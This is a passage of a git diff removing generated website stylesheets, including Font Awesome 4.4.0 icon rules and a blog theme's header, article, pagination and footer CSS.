- content: "\f1cd";
-}
-
-.fa-circle-o-notch:before {
- content: "\f1ce";
-}
-
-.fa-ra:before,
-.fa-rebel:before {
- content: "\f1d0";
-}
-
-.fa-ge:before,
-.fa-empire:before {
- content: "\f1d1";
-}
-
-.fa-git-square:before {
- content: "\f1d2";
-}
-
-.fa-git:before {
- content: "\f1d3";
-}
-
-.fa-y-combinator-square:before,
-.fa-yc-square:before,
-.fa-hacker-news:before {
- content: "\f1d4";
-}
-
-.fa-tencent-weibo:before {
- content: "\f1d5";
-}
-
-.fa-qq:before {
- content: "\f1d6";
-}
-
-.fa-wechat:before,
-.fa-weixin:before {
- content: "\f1d7";
-}
-
-.fa-send:before,
-.fa-paper-plane:before {
- content: "\f1d8";
-}
-
-.fa-send-o:before,
-.fa-paper-plane-o:before {
- content: "\f1d9";
-}
-
-.fa-history:before {
- content: "\f1da";
-}
-
-.fa-circle-thin:before {
- content: "\f1db";
-}
-
-.fa-header:before {
- content: "\f1dc";
-}
-
-.fa-paragraph:before {
- content: "\f1dd";
-}
-
-.fa-sliders:before {
- content: "\f1de";
-}
-
-.fa-share-alt:before {
- content: "\f1e0";
-}
-
-.fa-share-alt-square:before {
- content: "\f1e1";
-}
-
-.fa-bomb:before {
- content: "\f1e2";
-}
-
-.fa-soccer-ball-o:before,
-.fa-futbol-o:before {
- content: "\f1e3";
-}
-
-.fa-tty:before {
- content: "\f1e4";
-}
-
-.fa-binoculars:before {
- content: "\f1e5";
-}
-
-.fa-plug:before {
- content: "\f1e6";
-}
-
-.fa-slideshare:before {
- content: "\f1e7";
-}
-
-.fa-twitch:before {
- content: "\f1e8";
-}
-
-.fa-yelp:before {
- content: "\f1e9";
-}
-
-.fa-newspaper-o:before {
- content: "\f1ea";
-}
-
-.fa-wifi:before {
- content: "\f1eb";
-}
-
-.fa-calculator:before {
- content: "\f1ec";
-}
-
-.fa-paypal:before {
- content: "\f1ed";
-}
-
-.fa-google-wallet:before {
- content: "\f1ee";
-}
-
-.fa-cc-visa:before {
- content: "\f1f0";
-}
-
-.fa-cc-mastercard:before {
- content: "\f1f1";
-}
-
-.fa-cc-discover:before {
- content: "\f1f2";
-}
-
-.fa-cc-amex:before {
- content: "\f1f3";
-}
-
-.fa-cc-paypal:before {
- content: "\f1f4";
-}
-
-.fa-cc-stripe:before {
- content: "\f1f5";
-}
-
-.fa-bell-slash:before {
- content: "\f1f6";
-}
-
-.fa-bell-slash-o:before {
- content: "\f1f7";
-}
-
-.fa-trash:before {
- content: "\f1f8";
-}
-
-.fa-copyright:before {
- content: "\f1f9";
-}
-
-.fa-at:before {
- content: "\f1fa";
-}
-
-.fa-eyedropper:before {
- content: "\f1fb";
-}
-
-.fa-paint-brush:before {
- content: "\f1fc";
-}
-
-.fa-birthday-cake:before {
- content: "\f1fd";
-}
-
-.fa-area-chart:before {
- content: "\f1fe";
-}
-
-.fa-pie-chart:before {
- content: "\f200";
-}
-
-.fa-line-chart:before {
- content: "\f201";
-}
-
-.fa-lastfm:before {
- content: "\f202";
-}
-
-.fa-lastfm-square:before {
- content: "\f203";
-}
-
-.fa-toggle-off:before {
- content: "\f204";
-}
-
-.fa-toggle-on:before {
- content: "\f205";
-}
-
-.fa-bicycle:before {
- content: "\f206";
-}
-
-.fa-bus:before {
- content: "\f207";
-}
-
-.fa-ioxhost:before {
- content: "\f208";
-}
-
-.fa-angellist:before {
- content: "\f209";
-}
-
-.fa-cc:before {
- content: "\f20a";
-}
-
-.fa-shekel:before,
-.fa-sheqel:before,
-.fa-ils:before {
- content: "\f20b";
-}
-
-.fa-meanpath:before {
- content: "\f20c";
-}
-
-.fa-buysellads:before {
- content: "\f20d";
-}
-
-.fa-connectdevelop:before {
- content: "\f20e";
-}
-
-.fa-dashcube:before {
- content: "\f210";
-}
-
-.fa-forumbee:before {
- content: "\f211";
-}
-
-.fa-leanpub:before {
- content: "\f212";
-}
-
-.fa-sellsy:before {
- content: "\f213";
-}
-
-.fa-shirtsinbulk:before {
- content: "\f214";
-}
-
-.fa-simplybuilt:before {
- content: "\f215";
-}
-
-.fa-skyatlas:before {
- content: "\f216";
-}
-
-.fa-cart-plus:before {
- content: "\f217";
-}
-
-.fa-cart-arrow-down:before {
- content: "\f218";
-}
-
-.fa-diamond:before {
- content: "\f219";
-}
-
-.fa-ship:before {
- content: "\f21a";
-}
-
-.fa-user-secret:before {
- content: "\f21b";
-}
-
-.fa-motorcycle:before {
- content: "\f21c";
-}
-
-.fa-street-view:before {
- content: "\f21d";
-}
-
-.fa-heartbeat:before {
- content: "\f21e";
-}
-
-.fa-venus:before {
- content: "\f221";
-}
-
-.fa-mars:before {
- content: "\f222";
-}
-
-.fa-mercury:before {
- content: "\f223";
-}
-
-.fa-intersex:before,
-.fa-transgender:before {
- content: "\f224";
-}
-
-.fa-transgender-alt:before {
- content: "\f225";
-}
-
-.fa-venus-double:before {
- content: "\f226";
-}
-
-.fa-mars-double:before {
- content: "\f227";
-}
-
-.fa-venus-mars:before {
- content: "\f228";
-}
-
-.fa-mars-stroke:before {
- content: "\f229";
-}
-
-.fa-mars-stroke-v:before {
- content: "\f22a";
-}
-
-.fa-mars-stroke-h:before {
- content: "\f22b";
-}
-
-.fa-neuter:before {
- content: "\f22c";
-}
-
-.fa-genderless:before {
- content: "\f22d";
-}
-
-.fa-facebook-official:before {
- content: "\f230";
-}
-
-.fa-pinterest-p:before {
- content: "\f231";
-}
-
-.fa-whatsapp:before {
- content: "\f232";
-}
-
-.fa-server:before {
- content: "\f233";
-}
-
-.fa-user-plus:before {
- content: "\f234";
-}
-
-.fa-user-times:before {
- content: "\f235";
-}
-
-.fa-hotel:before,
-.fa-bed:before {
- content: "\f236";
-}
-
-.fa-viacoin:before {
- content: "\f237";
-}
-
-.fa-train:before {
- content: "\f238";
-}
-
-.fa-subway:before {
- content: "\f239";
-}
-
-.fa-medium:before {
- content: "\f23a";
-}
-
-.fa-yc:before,
-.fa-y-combinator:before {
- content: "\f23b";
-}
-
-.fa-optin-monster:before {
- content: "\f23c";
-}
-
-.fa-opencart:before {
- content: "\f23d";
-}
-
-.fa-expeditedssl:before {
- content: "\f23e";
-}
-
-.fa-battery-4:before,
-.fa-battery-full:before {
- content: "\f240";
-}
-
-.fa-battery-3:before,
-.fa-battery-three-quarters:before {
- content: "\f241";
-}
-
-.fa-battery-2:before,
-.fa-battery-half:before {
- content: "\f242";
-}
-
-.fa-battery-1:before,
-.fa-battery-quarter:before {
- content: "\f243";
-}
-
-.fa-battery-0:before,
-.fa-battery-empty:before {
- content: "\f244";
-}
-
-.fa-mouse-pointer:before {
- content: "\f245";
-}
-
-.fa-i-cursor:before {
- content: "\f246";
-}
-
-.fa-object-group:before {
- content: "\f247";
-}
-
-.fa-object-ungroup:before {
- content: "\f248";
-}
-
-.fa-sticky-note:before {
- content: "\f249";
-}
-
-.fa-sticky-note-o:before {
- content: "\f24a";
-}
-
-.fa-cc-jcb:before {
- content: "\f24b";
-}
-
-.fa-cc-diners-club:before {
- content: "\f24c";
-}
-
-.fa-clone:before {
- content: "\f24d";
-}
-
-.fa-balance-scale:before {
- content: "\f24e";
-}
-
-.fa-hourglass-o:before {
- content: "\f250";
-}
-
-.fa-hourglass-1:before,
-.fa-hourglass-start:before {
- content: "\f251";
-}
-
-.fa-hourglass-2:before,
-.fa-hourglass-half:before {
- content: "\f252";
-}
-
-.fa-hourglass-3:before,
-.fa-hourglass-end:before {
- content: "\f253";
-}
-
-.fa-hourglass:before {
- content: "\f254";
-}
-
-.fa-hand-grab-o:before,
-.fa-hand-rock-o:before {
- content: "\f255";
-}
-
-.fa-hand-stop-o:before,
-.fa-hand-paper-o:before {
- content: "\f256";
-}
-
-.fa-hand-scissors-o:before {
- content: "\f257";
-}
-
-.fa-hand-lizard-o:before {
- content: "\f258";
-}
-
-.fa-hand-spock-o:before {
- content: "\f259";
-}
-
-.fa-hand-pointer-o:before {
- content: "\f25a";
-}
-
-.fa-hand-peace-o:before {
- content: "\f25b";
-}
-
-.fa-trademark:before {
- content: "\f25c";
-}
-
-.fa-registered:before {
- content: "\f25d";
-}
-
-.fa-creative-commons:before {
- content: "\f25e";
-}
-
-.fa-gg:before {
- content: "\f260";
-}
-
-.fa-gg-circle:before {
- content: "\f261";
-}
-
-.fa-tripadvisor:before {
- content: "\f262";
-}
-
-.fa-odnoklassniki:before {
- content: "\f263";
-}
-
-.fa-odnoklassniki-square:before {
- content: "\f264";
-}
-
-.fa-get-pocket:before {
- content: "\f265";
-}
-
-.fa-wikipedia-w:before {
- content: "\f266";
-}
-
-.fa-safari:before {
- content: "\f267";
-}
-
-.fa-chrome:before {
- content: "\f268";
-}
-
-.fa-firefox:before {
- content: "\f269";
-}
-
-.fa-opera:before {
- content: "\f26a";
-}
-
-.fa-internet-explorer:before {
- content: "\f26b";
-}
-
-.fa-tv:before,
-.fa-television:before {
- content: "\f26c";
-}
-
-.fa-contao:before {
- content: "\f26d";
-}
-
-.fa-500px:before {
- content: "\f26e";
-}
-
-.fa-amazon:before {
- content: "\f270";
-}
-
-.fa-calendar-plus-o:before {
- content: "\f271";
-}
-
-.fa-calendar-minus-o:before {
- content: "\f272";
-}
-
-.fa-calendar-times-o:before {
- content: "\f273";
-}
-
-.fa-calendar-check-o:before {
- content: "\f274";
-}
-
-.fa-industry:before {
- content: "\f275";
-}
-
-.fa-map-pin:before {
- content: "\f276";
-}
-
-.fa-map-signs:before {
- content: "\f277";
-}
-
-.fa-map-o:before {
- content: "\f278";
-}
-
-.fa-map:before {
- content: "\f279";
-}
-
-.fa-commenting:before {
- content: "\f27a";
-}
-
-.fa-commenting-o:before {
- content: "\f27b";
-}
-
-.fa-houzz:before {
- content: "\f27c";
-}
-
-.fa-vimeo:before {
- content: "\f27d";
-}
-
-.fa-black-tie:before {
- content: "\f27e";
-}
-
-.fa-fonticons:before {
- content: "\f280";
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * Theme style
- * ----------------------------------------------------------------------------------------
- */
-/* Layout related */
-.t-margin {
- margin-bottom: 48px;
-}
-
-.t-beveled {
- border-bottom: 4px solid #F4F4F4;
- -moz-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4);
- -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4);
- box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4);
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * Header style
- * ----------------------------------------------------------------------------------------
- */
-#l-header {
- background-color: #1c3340;
- color: white;
-}
-#l-header h1 {
- margin-bottom: 35px;
- font: 5rem/9.5rem "verdana",helvetica, sans-serif;
-}
-#l-header p {
- font: normal bold 3rem/1.5rem "verdana",sans-serif;
- margin-top: 3.5rem;
- text-align: right;
- color: #d6d6d6;
-}
-#l-header li > a {
- display: block;
-}
-#l-header .navbar {
- background-color: white;
-}
-#l-header .navbar i {
- position: absolute;
- top: 1.9rem;
- right: 2.5rem;
- color: black;
-}
-#l-header .navicon {
- display: none;
-}
-#l-header nav > ul > li {
- width: 25%;
- float: left;
- text-align: center;
- font-size: 2rem;
- line-height: 5rem;
- border-right: 1px solid #e0e0e0;
- padding: 0;
-}
-#l-header nav > ul > li:hover {
- background: #ccc;
-}
-#l-header .subnav {
- max-height: 5rem;
-}
-#l-header .subnav li {
- display: none;
- position: relative;
- z-index: 100;
- border-top: 1px solid white;
- background-color: #eeeeee;
-}
-#l-header .subnav li:hover {
- background-color: #ccc;
-}
-#l-header .subnav:hover li {
- display: block;
-}
-#l-header #search {
- height: 3rem;
- margin-top: 1rem;
- width: 100%;
- border: 0;
- -moz-border-radius: 45px;
- -webkit-border-radius: 45px;
- border-radius: 45px;
- padding-left: 2rem;
- color: black;
- border: 1px solid #e0e0e0;
-}
-#l-header #search:focus {
- box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(102, 175, 233, 0.6);
- outline: none;
-}
-
-@media (max-width: 1200px) {
- #l-header p {
- display: none;
- }
-}
-@media (max-width: 992px) {
- #l-header {
- margin-bottom: 6rem;
- }
- #l-header .logo {
- margin-bottom: -7rem;
- }
- #l-header p {
- display: none;
- }
- #l-header nav > ul > li {
- border-bottom: 1px solid #e0e0e0;
- }
- #l-header div.search {
- margin-bottom: 1.5rem;
- border-top: 1px solid white;
- }
- #l-header .navbar {
- position: relative;
- top: 5.6rem;
- }
-}
-@media (max-width: 768px) {
- #l-header {
- margin-bottom: 0;
- height: 8rem;
- }
- #l-header h1 {
- line-height: 4.5rem;
- }
- #l-header .navbar {
- display: none;
- height: 6rem;
- position: absolute;
- top: 3.9rem;
- width: 100%;
- z-index: 200;
- }
- #l-header .subnav {
- height: auto;
- }
- #l-header .subnav li {
- background: #121b20;
- }
- #l-header .subnav li:hover {
- background: #090d10;
- }
- #l-header .navicon {
- display: block;
- font-size: 3rem;
- height: 4rem;
- padding-top: 2.4rem;
- text-align: right;
- padding-right: 2rem;
- position: absolute;
- top: 0;
- width: 100%;
- padding-top: 0;
- background-color: rgba(44, 63, 74, 0.6);
- }
- #l-header nav > ul > li {
- text-align: center;
- background-color: #253945;
- width: 100%;
- margin-right: 2rem;
- border-bottom: 1px solid #e0e0e0;
- }
- #l-header nav > ul > li:hover {
- background: #1c2b34;
- }
- #l-header .search {
- background-color: #253945;
- padding-bottom: 1rem;
- }
-}
-#l-main article {
- background: white;
- padding-right: 3rem;
- margin-top: 5rem;
- box-shadow: 0 0 10px #999;
- border-radius: 5px;
-}
-#l-main article .date {
- text-align: center;
- font-weight: bold;
-}
-#l-main article .day {
- background-color: black;
- color: white;
- width: 5rem;
- height: 5rem;
- margin: 2rem auto 0.5rem auto;
- font: normal normal bold 2.4rem/4.9rem "Verdana",sans-serif;
- -moz-border-radius: 50%;
- -webkit-border-radius: 50%;
- border-radius: 50%;
-}
-#l-main article .category {
- font-style: italic;
- font-family: comic sans ms, cursive;
-}
-#l-main article .title {
- font: normal bold 4rem Georgia, serif;
- font-family: 微软雅黑, Helvetica;
- margin-bottom: 0.4rem;
- /*text-shadow: 2px 3px 0px #C1C1C1;*/
-}
-#l-main article .title a {
- color: #333;
-}
-#l-main article hr {
- clear: both;
-}
-#l-main article .excerpt {
- font-size: 2rem;
- font-family: 微软雅黑, Helvetica;
- letter-spacing: 0.2px;
- text-align: justify;
-}
-#l-main article .continue {
- margin: 0 2rem 2rem;
- float: right;
- border-radius: 5px;
-}
-#l-main #about {
- background-color: white;
- margin-bottom: 2.5rem;
-}
-#l-main #about header, #l-main #about section {
- padding-left: 7.5rem;
- padding-right: 7.5rem;
-}
-#l-main #about section {
- margin-bottom: 6rem;
-}
-#l-main #about header {
- background-color: #1C3340;
- color: white;
- max-height: 18rem;
-}
-#l-main #about header img {
- max-width: 17rem;
- position: relative;
- top: 9rem;
- border-radius: 50%;
- border: 4px solid white;
-}
-#l-main #about header h1 {
- margin-left: 21.5rem;
- padding-bottom: 1rem;
- position: relative;
- top: -5rem;
-}
-#l-main #about section h2 {
- font-size: 4rem;
- color: #1c3340;
- margin: 0;
- margin-bottom: 1rem;
- border-bottom: 3px solid #1C3340;
-}
-#l-main #about section#intro h2 {
- font-size: 7rem;
- margin-left: 21.2rem;
- margin-top: -2rem;
- border-bottom: none;
-}
-#l-main #about section#intro p {
- font-size: 2rem;
-}
-#l-main #about section#skillsets i {
- font-weight: bold;
- font-size: 3rem;
-}
-#l-main #about section#skillsets ul {
- margin-top: 2rem;
-}
-#l-main #about section#skillsets ul li {
- font-size: 2rem;
- display: inline;
- background-color: #000000;
- color: white;
- border: 1px solid #1C3340;
- padding: 3px;
- border-radius: 4px;
- margin-left: 1rem;
-}
-#l-main #about section#findme li {
- display: inline;
- font-size: 6rem;
- margin-right: 3rem;
-}
-#l-main #about section#action {
- font-size: 2rem;
-}
-#l-main div#whoops {
- text-align: center;
- height: 300px;
-}
-#l-main div#whoops h1 {
- font-size: 6rem;
-}
-#l-main div#building {
- text-align: center;
- padding-top: 10rem;
-}
-#l-main div#building i {
- font-size: 15rem;
- color: #1C3340;
-}
-#l-main div#paginator {
- margin: 0 auto;
- max-width: auto;
- margin-top: 3rem;
-}
-#l-main div#paginator a, #l-main div#paginator span {
- min-width: 2rem;
- font-size: 2rem;
- border-radius: 2px;
- border: 1px solid #337AB7;
- display: inline-block;
- padding: 2px 11px;
- box-shadow: 0 0 2px #337AB7;
-}
-#l-main div#paginator ul li {
- float: left;
- margin-right: 1rem;
-}
-#l-main div#paginator ul li.active {
- background: #8BB3C1;
-}
-
-ul.tags {
- margin: 0 !important;
-}
-
-.tags li {
- float: left;
- margin-left: 1rem;
- padding: 0rem 1rem;
- background-color: #8BB3C1;
- color: white;
- -moz-border-radius: 15px;
- -webkit-border-radius: 15px;
- border-radius: 15px;
-}
-
-.tags li:first-child {
- margin-left: 0;
-}
-
-#postTitle {
- font-size: 4rem;
- font-weight: bold;
- margin-bottom: 0rem !important;
-}
-
-#postMeta {
- font-style: italic;
-}
-
-#filterList {
- background-color: #F6F6F6;
- margin-top: 5rem;
- padding: 0;
- font-size: 2rem;
- box-shadow: 0 0 10px #999;
-}
-#filterList li {
- height: 5rem;
- line-height: 5rem;
- border-bottom: 2px solid #DDDDDD;
- padding-left: 2rem;
-}
-#filterList li.current {
- background-color: #1C3340;
-}
-#filterList li:hover:not(.current) {
- background-color: white;
- cursor: pointer;
-}
-#filterList a, #filterList a:visited, #filterList a:hover {
- text-decoration: none;
- color: #337ab7;
-}
-
-.tagCnt, .cateCnt {
- float: right;
- font-size: 1.5rem;
- margin-right: 1rem;
- background-color: #F6F6F6;
- height: 50%;
- height: 2rem;
- width: 2rem;
- margin-top: 1.5rem;
- text-align: center;
- line-height: 2rem;
- box-shadow: 0 0 3px #1C3340;
- border-radius: 50%;
-}
-
-@media (max-width: 768px) {
- #l-main article .title {
- font-size: 3rem;
- margin-bottom: 2rem;
- }
- #l-main #about header img {
- max-width: 10rem;
- position: static;
- display: block;
- margin: 0 auto;
- }
- #l-main #about header h1 {
- margin: 0 auto;
- text-align: center;
- position: static;
- }
- #l-main #about section#intro h2 {
- font-size: 4rem;
- margin: 0;
- border-bottom: 3px solid #1C3340;
- }
- #l-main #about section#skillsets ul li {
- display: block;
- margin: 1rem;
- }
-}
-/**
- * ----------------------------------------------------------------------------------------
- * Footer style
- * ----------------------------------------------------------------------------------------
- */
-#l-footer {
- background-color: #1c3340;
- color: white;
- margin-top: 7rem;
- padding: 1.5rem;
-}
-#l-footer h3 {
- text-align: center;
- margin-bottom: 0.5rem;
-}
-#l-footer address {
- text-align: right;
- padding-right: 2rem;
-}
-#l-footer #rss {
- text-align: center;
-}
-#l-footer .rss {
- font-size: 6rem;
-}
-#l-footer #legal {
- text-align: center;
- color: #8d8d8d;
-}
-
-@media (max-width: 768px) {
- #l-footer address {
- text-align: left;
- margin-bottom: 2rem;
- }
-}
diff --git a/_site/stylesheets/code_block.css b/_site/stylesheets/code_block.css
deleted file mode 100755
index 23126e6..0000000
--- a/_site/stylesheets/code_block.css
+++ /dev/null
@@ -1,26 +0,0 @@
-td.linenos {
- color: #4a4a40;
- background: #e7e7e1;
- border-radius: 5px 0px 0px 10px;
- border: none !important;
-}
-
-div.highlight {
- width: 97%;
- margin-left: 1px;
- background: #49483e url('../images/monokaibg.jpg') top left;
- color: white;
- padding: 5px 5px 5px 15px;
- border-radius: 5px;
-}
-
-td.code {
- width: 100%;
- background: #49483e url('../images/monokaibg.jpg') top left;
- color: white;
- border-radius: 5px;
-}
-
-td.code .highlight {
- padding: 0px;
-}
\ No newline at end of file
diff --git a/_site/stylesheets/font/font-awesome.css b/_site/stylesheets/font/font-awesome.css
deleted file mode 100755
index a68d014..0000000
--- a/_site/stylesheets/font/font-awesome.css
+++ /dev/null
@@ -1,2643 +0,0 @@
-/*!
- * Font Awesome 4.4.0 by @davegandy - http://fontawesome.io - @fontawesome
- * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
- */
-/* FONT PATH
- * -------------------------- */
-@font-face {
- font-family: 'FontAwesome';
- src: url("../fonts/fontawesome-webfont.eot?v=4.4.0");
- src: url("../fonts/fontawesome-webfont.eot?#iefix&v=4.4.0") format("embedded-opentype"), url("../fonts/fontawesome-webfont.woff2?v=4.4.0") format("woff2"), url("../fonts/fontawesome-webfont.woff?v=4.4.0") format("woff"), url("../fonts/fontawesome-webfont.ttf?v=4.4.0") format("truetype"), url("../fonts/fontawesome-webfont.svg?v=4.4.0#fontawesomeregular") format("svg");
- font-weight: normal;
- font-style: normal;
-}
-.fa {
- display: inline-block;
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.fa-lg {
- font-size: 1.33333333em;
- line-height: 0.75em;
- vertical-align: -15%;
-}
-
-.fa-2x {
- font-size: 2em;
-}
-
-.fa-3x {
- font-size: 3em;
-}
-
-.fa-4x {
- font-size: 4em;
-}
-
-.fa-5x {
- font-size: 5em;
-}
-
-.fa-fw {
- width: 1.28571429em;
- text-align: center;
-}
-
-.fa-ul {
- padding-left: 0;
- margin-left: 2.14285714em;
- list-style-type: none;
-}
-
-.fa-ul > li {
- position: relative;
-}
-
-.fa-li {
- position: absolute;
- left: -2.14285714em;
- width: 2.14285714em;
- top: 0.14285714em;
- text-align: center;
-}
-
-.fa-li.fa-lg {
- left: -1.85714286em;
-}
-
-.fa-border {
- padding: .2em .25em .15em;
- border: solid 0.08em #eeeeee;
- border-radius: .1em;
-}
-
-.fa-pull-left {
- float: left;
-}
-
-.fa-pull-right {
- float: right;
-}
-
-.fa.fa-pull-left {
- margin-right: .3em;
-}
-
-.fa.fa-pull-right {
- margin-left: .3em;
-}
-
-/* Deprecated as of 4.4.0 */
-.pull-right {
- float: right;
-}
-
-.pull-left {
- float: left;
-}
-
-.fa.pull-left {
- margin-right: .3em;
-}
-
-.fa.pull-right {
- margin-left: .3em;
-}
-
-.fa-spin {
- -webkit-animation: fa-spin 2s infinite linear;
- animation: fa-spin 2s infinite linear;
-}
-
-.fa-pulse {
- -webkit-animation: fa-spin 1s infinite steps(8);
- animation: fa-spin 1s infinite steps(8);
-}
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
- }
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
- }
-}
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
- }
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
- }
-}
-.fa-rotate-90 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
- -webkit-transform: rotate(90deg);
- -ms-transform: rotate(90deg);
- transform: rotate(90deg);
-}
-
-.fa-rotate-180 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
- -webkit-transform: rotate(180deg);
- -ms-transform: rotate(180deg);
- transform: rotate(180deg);
-}
-
-.fa-rotate-270 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
- -webkit-transform: rotate(270deg);
- -ms-transform: rotate(270deg);
- transform: rotate(270deg);
-}
-
-.fa-flip-horizontal {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);
- -webkit-transform: scale(-1, 1);
- -ms-transform: scale(-1, 1);
- transform: scale(-1, 1);
-}
-
-.fa-flip-vertical {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);
- -webkit-transform: scale(1, -1);
- -ms-transform: scale(1, -1);
- transform: scale(1, -1);
-}
-
-:root .fa-rotate-90,
-:root .fa-rotate-180,
-:root .fa-rotate-270,
-:root .fa-flip-horizontal,
-:root .fa-flip-vertical {
- filter: none;
-}
-
-.fa-stack {
- position: relative;
- display: inline-block;
- width: 2em;
- height: 2em;
- line-height: 2em;
- vertical-align: middle;
-}
-
-.fa-stack-1x,
-.fa-stack-2x {
- position: absolute;
- left: 0;
- width: 100%;
- text-align: center;
-}
-
-.fa-stack-1x {
- line-height: inherit;
-}
-
-.fa-stack-2x {
- font-size: 2em;
-}
-
-.fa-inverse {
- color: #ffffff;
-}
-
-/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
- readers do not read off random characters that represent icons */
-.fa-glass:before {
- content: "\f000";
-}
-
-.fa-music:before {
- content: "\f001";
-}
-
-.fa-search:before {
- content: "\f002";
-}
-
-.fa-envelope-o:before {
- content: "\f003";
-}
-
-.fa-heart:before {
- content: "\f004";
-}
-
-.fa-star:before {
- content: "\f005";
-}
-
-.fa-star-o:before {
- content: "\f006";
-}
-
-.fa-user:before {
- content: "\f007";
-}
-
-.fa-film:before {
- content: "\f008";
-}
-
-.fa-th-large:before {
- content: "\f009";
-}
-
-.fa-th:before {
- content: "\f00a";
-}
-
-.fa-th-list:before {
- content: "\f00b";
-}
-
-.fa-check:before {
- content: "\f00c";
-}
-
-.fa-remove:before,
-.fa-close:before,
-.fa-times:before {
- content: "\f00d";
-}
-
-.fa-search-plus:before {
- content: "\f00e";
-}
-
-.fa-search-minus:before {
- content: "\f010";
-}
-
-.fa-power-off:before {
- content: "\f011";
-}
-
-.fa-signal:before {
- content: "\f012";
-}
-
-.fa-gear:before,
-.fa-cog:before {
- content: "\f013";
-}
-
-.fa-trash-o:before {
- content: "\f014";
-}
-
-.fa-home:before {
- content: "\f015";
-}
-
-.fa-file-o:before {
- content: "\f016";
-}
-
-.fa-clock-o:before {
- content: "\f017";
-}
-
-.fa-road:before {
- content: "\f018";
-}
-
-.fa-download:before {
- content: "\f019";
-}
-
-.fa-arrow-circle-o-down:before {
- content: "\f01a";
-}
-
-.fa-arrow-circle-o-up:before {
- content: "\f01b";
-}
-
-.fa-inbox:before {
- content: "\f01c";
-}
-
-.fa-play-circle-o:before {
- content: "\f01d";
-}
-
-.fa-rotate-right:before,
-.fa-repeat:before {
- content: "\f01e";
-}
-
-.fa-refresh:before {
- content: "\f021";
-}
-
-.fa-list-alt:before {
- content: "\f022";
-}
-
-.fa-lock:before {
- content: "\f023";
-}
-
-.fa-flag:before {
- content: "\f024";
-}
-
-.fa-headphones:before {
- content: "\f025";
-}
-
-.fa-volume-off:before {
- content: "\f026";
-}
-
-.fa-volume-down:before {
- content: "\f027";
-}
-
-.fa-volume-up:before {
- content: "\f028";
-}
-
-.fa-qrcode:before {
- content: "\f029";
-}
-
-.fa-barcode:before {
- content: "\f02a";
-}
-
-.fa-tag:before {
- content: "\f02b";
-}
-
-.fa-tags:before {
- content: "\f02c";
-}
-
-.fa-book:before {
- content: "\f02d";
-}
-
-.fa-bookmark:before {
- content: "\f02e";
-}
-
-.fa-print:before {
- content: "\f02f";
-}
-
-.fa-camera:before {
- content: "\f030";
-}
-
-.fa-font:before {
- content: "\f031";
-}
-
-.fa-bold:before {
- content: "\f032";
-}
-
-.fa-italic:before {
- content: "\f033";
-}
-
-.fa-text-height:before {
- content: "\f034";
-}
-
-.fa-text-width:before {
- content: "\f035";
-}
-
-.fa-align-left:before {
- content: "\f036";
-}
-
-.fa-align-center:before {
- content: "\f037";
-}
-
-.fa-align-right:before {
- content: "\f038";
-}
-
-.fa-align-justify:before {
- content: "\f039";
-}
-
-.fa-list:before {
- content: "\f03a";
-}
-
-.fa-dedent:before,
-.fa-outdent:before {
- content: "\f03b";
-}
-
-.fa-indent:before {
- content: "\f03c";
-}
-
-.fa-video-camera:before {
- content: "\f03d";
-}
-
-.fa-photo:before,
-.fa-image:before,
-.fa-picture-o:before {
- content: "\f03e";
-}
-
-.fa-pencil:before {
- content: "\f040";
-}
-
-.fa-map-marker:before {
- content: "\f041";
-}
-
-.fa-adjust:before {
- content: "\f042";
-}
-
-.fa-tint:before {
- content: "\f043";
-}
-
-.fa-edit:before,
-.fa-pencil-square-o:before {
- content: "\f044";
-}
-
-.fa-share-square-o:before {
- content: "\f045";
-}
-
-.fa-check-square-o:before {
- content: "\f046";
-}
-
-.fa-arrows:before {
- content: "\f047";
-}
-
-.fa-step-backward:before {
- content: "\f048";
-}
-
-.fa-fast-backward:before {
- content: "\f049";
-}
-
-.fa-backward:before {
- content: "\f04a";
-}
-
-.fa-play:before {
- content: "\f04b";
-}
-
-.fa-pause:before {
- content: "\f04c";
-}
-
-.fa-stop:before {
- content: "\f04d";
-}
-
-.fa-forward:before {
- content: "\f04e";
-}
-
-.fa-fast-forward:before {
- content: "\f050";
-}
-
-.fa-step-forward:before {
- content: "\f051";
-}
-
-.fa-eject:before {
- content: "\f052";
-}
-
-.fa-chevron-left:before {
- content: "\f053";
-}
-
-.fa-chevron-right:before {
- content: "\f054";
-}
-
-.fa-plus-circle:before {
- content: "\f055";
-}
-
-.fa-minus-circle:before {
- content: "\f056";
-}
-
-.fa-times-circle:before {
- content: "\f057";
-}
-
-.fa-check-circle:before {
- content: "\f058";
-}
-
-.fa-question-circle:before {
- content: "\f059";
-}
-
-.fa-info-circle:before {
- content: "\f05a";
-}
-
-.fa-crosshairs:before {
- content: "\f05b";
-}
-
-.fa-times-circle-o:before {
- content: "\f05c";
-}
-
-.fa-check-circle-o:before {
- content: "\f05d";
-}
-
-.fa-ban:before {
- content: "\f05e";
-}
-
-.fa-arrow-left:before {
- content: "\f060";
-}
-
-.fa-arrow-right:before {
- content: "\f061";
-}
-
-.fa-arrow-up:before {
- content: "\f062";
-}
-
-.fa-arrow-down:before {
- content: "\f063";
-}
-
-.fa-mail-forward:before,
-.fa-share:before {
- content: "\f064";
-}
-
-.fa-expand:before {
- content: "\f065";
-}
-
-.fa-compress:before {
- content: "\f066";
-}
-
-.fa-plus:before {
- content: "\f067";
-}
-
-.fa-minus:before {
- content: "\f068";
-}
-
